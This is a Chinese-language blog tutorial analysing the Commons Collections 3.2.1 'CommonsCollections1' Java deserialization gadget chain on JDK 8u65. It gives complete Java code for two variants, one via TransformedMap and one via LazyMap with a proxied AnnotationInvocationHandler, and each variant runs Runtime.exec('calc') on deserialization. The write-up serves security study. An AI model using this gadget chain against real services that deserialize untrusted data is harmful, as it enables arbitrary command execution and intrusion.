CommonsCollections1

CommonsCollections1

版权申明:本文为原创文章,转载请注明原文出处

原文链接:http://example.com/post/4ffaad89.html

CommonsCollections1

前景提要

jdk版本:8u65 下载链接:Java 存档下载 — Java SE 8 | Oracle 中国

cc版本:3.2.1

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

用https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip下载到的zip文件中的src/share/classes目录下的sun添加到jdk_8u65/目录下的src.jar解压后的src文件中,再将src/目录添加到项目的sdk源路径中,可实现将class文件转换为java(方便调试)

image-20240608170247917

入口

此处为 commons-collectionsTransformer 的实现类 InvokerTransformer 中的 transformer 方法如果此处的 this.IMethodNamethis.iParamTypes 可以自己构造,即可实现执行任意方法调用功能

image-20240608193355690

利用漏洞

简单回顾一下动态调用方法,首先获取Class对象,再获取方法对象,再传入实例名和参数执行该实例的该方法

image-20240608194347717

终点确认

尝试创建InvokerTransformer对象,并调用transformer方法

1
2
3
4
5
6
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
// public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
// this.iMethodName = methodName;
// this.iParamTypes = paramTypes;
// this.iArgs = args;
// }

也就是此处我们只要能创建 InvokerTransformer 类并执行其 transformer 方法就可以实现执行任意方法

因此下一步是找可以构造指定类执行transformer方法的函数

进阶1

根据调用函数选择的是TransformerMap类的checkSetValue方法,此处的 valueTransformer 是可构造的

image-20240609150002187

找到 valueTransformerkeyTransformer 对象传参定义的地方,为此处的TransformedMap方法

image-20240608202436805

找到调用 TransformedMap 方法的地方,这里的decorate实现了传参创建类的方法

image-20240608202535299

找到调用 checkSetValue 函数的地方,因为这是protect属性,所以只能是内部调用,此处的MapEntry方法定义好parent后,下面的setValue方法实现了checkSetValue的调用,并且传入对象可控制

image-20240609150225975

接着使用该类实现调用InvokerTransformertransformer方法,这里的MapEntry就相当于遍历键值对,这里的entry也就是上面传入的parent参数,因此调用entrysetValue方法就能最终实现调用对checkSetValue函数的调用,为了保证能够正常遍历执行,map里面需要存入至少一对键值对

image-20240609151056987

接着寻找调用setValue函数的地方(最好是readObject方法)

找到调用setValue的readObject方法的类

通过寻找发现AnnotationInvocationHandler类的readObject方法中有调用Map.EntrysetValue方法

image-20240609151723683

其中关键部分为

1
2
3
4
5
6
7
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]"
).setMember(
annotationType.members().get(name)
)
);

因此要做的就是更改此处的memberValues和传入的参数部分

首先更改memberValues变量,查看该变量的赋值过程,如图所示,是可控的

image-20240609152150974

代码构造

首先需要清楚的是Runtime类并不是一个可序列化对象(没有implements Serializable),因此不能直接定义该对象,只能用反射

因此Runtime.getRuntime对象获取方式更改为如下

1
2
3
4
5
Class<?> clazz = Runtime.class;
Method method = clazz.getMethod("getRuntime");
Runtime r = (Runtime) method.invoke(null);
Method exec = clazz.getMethod("exec", String.class);
exec.invoke(r, "calc");

而Method对象是不可序列化的,因此都使用上面的InvokerTransformer类实现

1
2
3
4
5
6
7
8
9
10
11
        Class<?> clazz = Runtime.class;
InvokerTransformer in = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}); // getRuntime
Method method = (Method) in.transform(clazz);
InvokerTransformer in2 = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
Runtime r = (Runtime) in2.transform(method);
InvokerTransformer in3 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
in3.transform(r);
// Method method = clazz.getMethod("getRuntime");
// Runtime r = (Runtime) method.invoke(null);
// Method exec = clazz.getMethod("exec", String.class);
// exec.invoke(r, "calc");

不难发现,整体流程都是一样的,先建立InvokerTransformer对象,再调用其transform方法,因此以上代码进一步简化,通过使用ChainedTransformer数组,该数组调用transform方法可实现上一结果的输出作为下一结果的输入

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

因此我们只需要能执行transformerChain实例的transform方法,并传入参数Runtime.class作为第一个InvokerTransformer对象的传参,以上代码转换为

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> tmp = TransformedMap.decorate(map,transformerChain, transformerChain);
for(Map.Entry<Object,Object> entry: tmp.entrySet()){
entry.setValue(Runtime.class);
}

想办法传入恰当参数使得readObject方法可以执行该setValue方法,回到AnnotationInvocationHandlerreadObject方法,我们需要确保能进入memberType!=null才能继续向下执行

image-20240609202106159

找到memberType的来源

image-20240609202756792

找到type的来源,是个注释类,并且要求该注释类有从memberValues键值对中获取到的键,memberValues是我们可控制的,因此需要找到有键的注释类

image-20240609202826270

此处选择Target类,有键value

image-20240609202954612

memberValues传入的键值对中的键应是value

1
2
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");

但是此处setValue中的对象我们难以控制,而这里setValue中的对象相当于是要传递给transformerChaintransform方法,该方法会依次执行transformerChain数组中的InvokerTransformer对象的transform方法,因此此处选择在数组中再增加一对象,使得无论传什么参都能正确返回第一个结果,只要第一个结果正确,后面肯定会依次执行,也就是此处的ConstantTransformer

image-20240609203343324

由此,整体构造代码如下,用反射的方式获取AnnotationInvocationHandler对象是因为该方法不是public对象,不能直接在外部实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> tmp = TransformedMap.decorate(map,transformerChain, transformerChain);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object instance = constructor.newInstance(Target.class, tmp);
serialize(instance);
unserialize("data.bin");
进阶2

选择使用lazyMap类的get方法

LazyMap 是一种装饰模式的实现,它包装了另一个 Map 对象,并添加了按需创建对象的功能。当通过 get(Object key) 方法访问一个不存在于 Map 中的键时,它会使用一个工厂对象来创建该键对应的值,并将其放入 Map 中。

此处的factory是可控制的,并且此处的key是不需要定义的,此处的transform方法并不会使用传入的参数key

image-20240611142611958

确定能执行get方法的漏洞点

此处选择的是AnnotationInvocationHandler类的invoke方法,因为上面已经分析了memberValues(Map)对象是可控制的,而在此处调用了memberValues对象的get方法

image-20240611142745004

因此我们想办法使得AnnotationInvocationHandler的readObject方法调用此处的invoke方法,而此处调用enrtySet方法刚好满足条件,只要memberValues是AnnotationInvocationHandler类的代理对象,当memberValues调用该方法时,就会自动调用AnnotationInvocationHandler的invoke方法,最终实现该链

image-20240611142831708

代码构造

memberValues就变成了AnnotationInvocationHandler的代理对象,并且由于传参限制,必须是Map类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map tmplazymap= LazyMap.decorate(map,transformerChain);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, tmplazymap);
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
Object instance = constructor.newInstance(Override.class, proxyInstance);
serialize(instance);
unserialize("data.bin");
总结

下图是这两个链子的流程图,都是找调用transform方法的类

  • 进阶一找的是TransformedMapcheckValue方法,然后在AnnotationInvocationHandler类中的readObject方法中能实现调用checkValue方法,通过传入构造的TransformedMap对象,构造的TransformedMap对象会传入构造的ChainedTransformed对象,最终实现ChainedTransformedtransform方法的调用
  • 进阶二找的是LazyMap的get方法,原理是AnnotationInvocationHandler类中的invoke方法实现了调用get方法,因此想办法使得AnnotationInvocationHandlerreadObject方法中能实现调用其invoke方法,因此传入对象为AnnotationInvocationHandler类的实例,实例调用函数一定会调用该实例的invoke方法来调用实例,进而实现get方法调用

image-20240611141535037

Author

yyyyyyxnp

Posted on

2024-06-08

Updated on

2024-09-29

Licensed under

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.